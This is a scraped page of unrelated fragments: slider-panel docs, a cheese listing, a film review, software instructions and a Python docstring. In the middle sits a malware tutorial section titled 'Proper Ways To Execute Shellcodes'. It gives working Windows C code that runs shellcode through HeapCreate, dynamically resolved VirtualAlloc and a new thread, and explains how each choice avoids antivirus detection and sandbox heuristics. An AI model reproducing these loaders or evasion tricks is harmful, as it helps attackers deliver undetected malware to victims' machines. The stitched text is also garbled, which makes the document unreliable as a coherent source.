Slider Panel
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A simple sliding panel to display off-canvas contents. The panel pushes the exiting body content to the right and smoothly transitions into the view area. This addon uses css transforms (translate3d) and cubic bezier transitions to achieve the sliding effect.
Browser Compatability
- Firefox 4.0 (2.0)+
- Chrome 4.0+
- Internet Explorer 10+ (Really? Even IE? :O)
- Opera 10.5+
- Safari 3.1+
Getting Started
Add data-slide="push" to

Add Panel content

Enclose the page content inside a .wrapper class

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Add data-panel="[div-id]" to the <button> or  which on clicked will trigger the slide transition
slide
Voila! Nothing else to do! Check out the example code below. Also view the demo by clicking at the top left button in the navbar.
Example


Proper Ways To Execute Shellcodes
Starting with Windows Vista, Microsoft introduced Data Execution Prevention or DEP[8], a security feature that can help prevent damage to your computer by monitoring programs from time to time. Monitoring ensures that running program uses system memory efficiently. If there is any instance of a program on your computer using memory incorrectly, DEP notices it, closes the program and notifies you. That means you can’t just put some bytes to an char array and execute it, you need to allocate a memory region with read,write and execute flags using windows API functions.
Microsoft has several memory manipulation API functions for reserving memory pages, most of the common malware in the field uses the “VirtualAlloc” function for reserving memory pages, as you can guess common usage of functions helps AV products with defining detection rules, using other memory manipulation functions will also do the trick and they may attract less attention.
I will list several shellcode execution method with different memory manipulation API function
HeapCreate/HeapAlloc:
Windows also allows creating RWE heap regions.
void ExecuteShellcode(){
HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(Shellcode), sizeof(Shellcode));
char * BUFFER = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(Shellcode));
memcpy(BUFFER, Shellcode, sizeof(Shellcode));
(*(void(*)())BUFFER)();
}
LoadLibrary/GetProcAddress:
LoadLibrary and GetProcAddress win api function combination allows us to use all other win api functions, with this usage there will be no direct call to the memory manipulation function and malware will probably be less attractive.
void ExecuteShellcode(){
HINSTANCE K32 = LoadLibrary(TEXT("kernel32.dll"));
if(K32 != NULL){
MYPROC Allocate = (MYPROC)GetProcAddress(K32, "VirtualAlloc");
char* BUFFER = (char*)Allocate(NULL, sizeof(Shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(BUFFER, Shellcode, sizeof(Shellcode));
(*(void(*)())BUFFER)();
}
}
GetModuleHandle/GetProcAddress:
This method does not even uses the LoadLibrary function it takes advantage of already loaded kernel32.dll, GetModuleHandle function retrieves the module handle from an already loaded dll, this method is possibly one of the most silent way to execute shellcode.
void ExecuteShellcode(){
MYPROC Allocate = (MYPROC)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
char* BUFFER = (char*)Allocate(NULL, sizeof(Shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(BUFFER, Shellcode, sizeof(Shellcode));
(*(void(*)())BUFFER)();
}
Multi Threading
It is always harder to reverse engineer multi threaded PE files, it is also challenging for AV products, multi threading approach can be used with all execution methods above so instead of just pointing a function pointer to shellcode and executing it creating a new thread will complicate things for AV scanners plus it allow us to keep executing the “AV Detect” function while executing the shellcode at same time.
void ExecuteShellcode(){
char* BUFFER = (char*)VirtualAlloc(NULL, sizeof(Shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(BUFFER, Shellcode, sizeof(Shellcode));
CreateThread(NULL,0,LPTHREAD_START_ROUTINE(BUFFER),NULL,0,NULL);
while(TRUE){
BypassAV(argv);
}
}
Above code executes the shellcode with creating a new thread, just after creating the thread there is a infinite whlie loop that is executing bypass av function, this approach will almost double the effect of our bypass av function, bypass AV function will be keep checking for sandbox and dynamic analysis signs while shellcode runs, this is also vital for bypassing some advanced heuristic engines that waits until the execution of the shellcode.


Petida is a Mediterranean-style soft cheese from Bergader, specially preserved in brine to retain its fresh flavour. It is a high calorie cheese with a fat content of 55 % fat. The company uses highest-quality milk from the Bavarian Alps to prepare this cheese.
Petida is a very versatile cheese with a wide variety of applications. Sprinkle onto fresh salads or use as a tasty filling for meats or vegetables. It is available in a resealable tin package to ensure freshness and excellent taste.
All Bergader cheeses (except Edelpilz and Bonifaz "Wild Mushrooms") are lactose and gluten-free.
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Made from
cow
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Country of origin:
Germany
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Type:
soft
, brined
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Fat content (in dry matter): 55%
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Fat content: 25.6
g/100g
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Calcium content: 190
mg/100g
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Texture:
creamy
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Rind: artificial
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Colour: white
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Flavour: mild, milky
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Aroma: clean, fresh
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Vegetarian: yes
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Producers: Bergader Privatkäserei GmbH
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Other German cheeses:
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hard cheeses:
Allgauer Emmentaler
,
Bavarian Bergkase
,
Klosterkaese
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semi-hard cheeses:
Bianco
,
Danish Feta
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Edelpilz
,
Original Illertaler
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semi-soft cheeses:
Basils Original Rauchkäse
,
Beemster 2% Milk
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Bierkase
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Bruder Basil
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Brunost
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Butterkase
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Cambozola Grand Noir
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Chiriboga Blue
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CreNoble
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Limburger
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Mirabo Brie with Walnut
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Striegistaler Zwerge Camembert
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soft cheeses:
Bavaria blu
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Bonifaz
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Cambazola
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Champignon de Luxe Garlic
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Champignon de Luxe Pepper
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Champignon Mushrooom
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CréMonté
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Doppelrhamstufel
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Dorblu
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Montagnolo
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Montsalvat
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ReginaBlu
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Rougette Bavarian Red
,
Rougette Grill Meister
,
St. Mang Original Allgäuer Limburger
,
Weichkaese
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fresh soft cheeses:
FITAKI White Cheese
,
Quark


DROP DEAD GORGEOUS (M). (Village Roadshow) Director: Michael Patrick Jann Stars: Kirstie Alley, Ellen Barkin, Kirsten Dunst, Denise Richards, Matt Molloy, Allison Janney Running time: 96 minutes.
Like the wonderful, and superior, Waiting For Guffman, this mock documentary exploring what goes on behind the scenes of a beauty pageant pricks the pretensions and narrow attitudes of small town America. First time feature director Michael Patrick Jann uses the tired fake documentary formula to explore the bitchiness, ruthless ambition and drive that occurs backstage at a beauty pageant. However, this satire of what actually happens behind the scenes of beauty pageants lacks the sharp writing, biting humour, and genuine wit that shaped Michael Ritchie's under rated Smile (1975), which explored similar material.
For fifty years the Miss Mount Rose Beauty pageant has been a highlight of this small rural township in Minnesota. But this year seems to bring out the worst in its competitors. A string of mysterious fatal accidents knock some of the early competitors out of the race, even before the judging starts. And a film crew is there to capture it all.
In this year's pageant, the competition for first prize ends up as a two horse race between two girls from different backgrounds. Becky Leeman (Denise Richards, from Wild Things, and the forthcoming new Bond film) is the ambitious and fiercely competitive daughter of Gladys (Kirstie Alley), herself a former winner and now head of the organising committee for the pageant.  Her main rival is Amber Atkins (Kirsten Dunst, from Interview With The Vampire, etc), a "piece of white trash" who lives in a run down trailer park with her mother (Ellen Barkin), an alcoholic hairdresser.
The differences between these two rivals is explored with the distinct lack of subtlety that is a hallmark of the film. The two younger stars deliver quite engaging performances that lift the film a notch or two. They comprehensively outshine the rather tired and lacklustre performances of veterans Alley and Barkin, neither of whom seem overly enthusiastic about the material.
There are some genuinely funny moments in this black comedy, but they are far and few between. Instead, Jann offers us some tasteless running gags and a number of gross-out gags that would seem second rate even to the Farrelly brothers.
Like the recent Election, Drop Dead Gorgeous also offers a comment on the American ethos of success and winning, whatever the cost. Jann's direction lacks focus, although some of the film's barbs manage to strike home. Drop Dead Gorgeous also offers a quick, stereotyped portrait of small town America and its inhabitants, and little escapes unscathed. Ultimately, though, is seems that the filmmakers are mainly retreading familiar territory without offering anything fresh or original.
**1/2 greg king http://www.netau.com.au/gregking
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About Easy Jazz
Easy Jazz is a system that helps people improvise jazz solo without musical knowledge and training. The web-based system allows users to easily access to it without any special equipment or software. The system offers two versions of backing tracks and three types of instrument options. Once the user selects an instrument, the icons of the corresponding instrument appear on the screen. There are nine icons in total, and each of them represents a single note. The user can play the desired note by hovering the cursor of mouse or other compatible input devices over the icon. The notes that the icons represent keep changing adapted to on the chord of the backing track. Four notes out of them correspond to the chord tones and are displayed as large icons.


@Tracker - Web Export Instructions
To use the @Tracker Web Export tool you must have a @Tracker archive at hand. Instructions on how to create a archive is documented in the @Tracker User Manual. HotSync the archives to your desktop computer and then follow these steps:
- Click the Browse button and locate the archive file. The file will be stored in the backup folder in your HotSync hierarchy. The archive file will be named as TTTX_{archive name}.pdb.
- Select the desired date and time formats. This can be set to match the setting on your handheld.
- Select the Linefeed type. Depending on your CSV reader/Operating System it may matter what kind of Linefeeds you use.
- Select the output format - should your archive file be exported to Excel CSV, Standard CSV, PHP or debug formats?
- Leave the Keep Whitespaces checkbox unchecked if you want to have white spaces characters such as tabulators converted to a space.
- When satisfied with your settings click on the Export button and your file will be uploaded, exported and offered as a download.
The @Tracker Web Export tool has been tested using Mozilla Firefox. It should work using other browsers. If not, I would like to hear from you.
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Starting with user research, this project kept what people loved about the existing HR Self-Service Portal and improved where they didn't. A large part of this project was writing self-help articles from the context of the audience while teaching future content authors to write for the web.
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A major telco wanted to define and visualize a new portal for partners and customers to interact and complete work together. 20+ Screens with clickable demo for executives.


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This class is intended to make it easier to program applications with many screens: 1. The programmer should not now select which 'Form' to display himself. Instead, he should set the NEXT_ACTIVE_FORM class variable. See the registerForm method for details. Doing this will avoid accidentally exceeding the maximum recursion depth. Forms themselves should be placed under the management of the class using the 'addFrom' method. 2. Forms that are managed by this class can access a proxy to the parent application through their ".parentApp" attribute, which is created by this class. 3. Optionally, Forms managed by this class may be given an .activate method, which will be called instead of their .edit loop 4. The method onInMainLoop is called after each screen has exited. This can be overridden. 5. This method should be able to see which screen was last active using the self._LAST_NEXT_ACTIVE_FORM attribute, which is only set just before each screen is displayed. 6. Unless you override the attribute STARTING_FORM, the first form to be called should be named 'MAIN' 7. Do override the onStart and onCleanExit functions if you wish.
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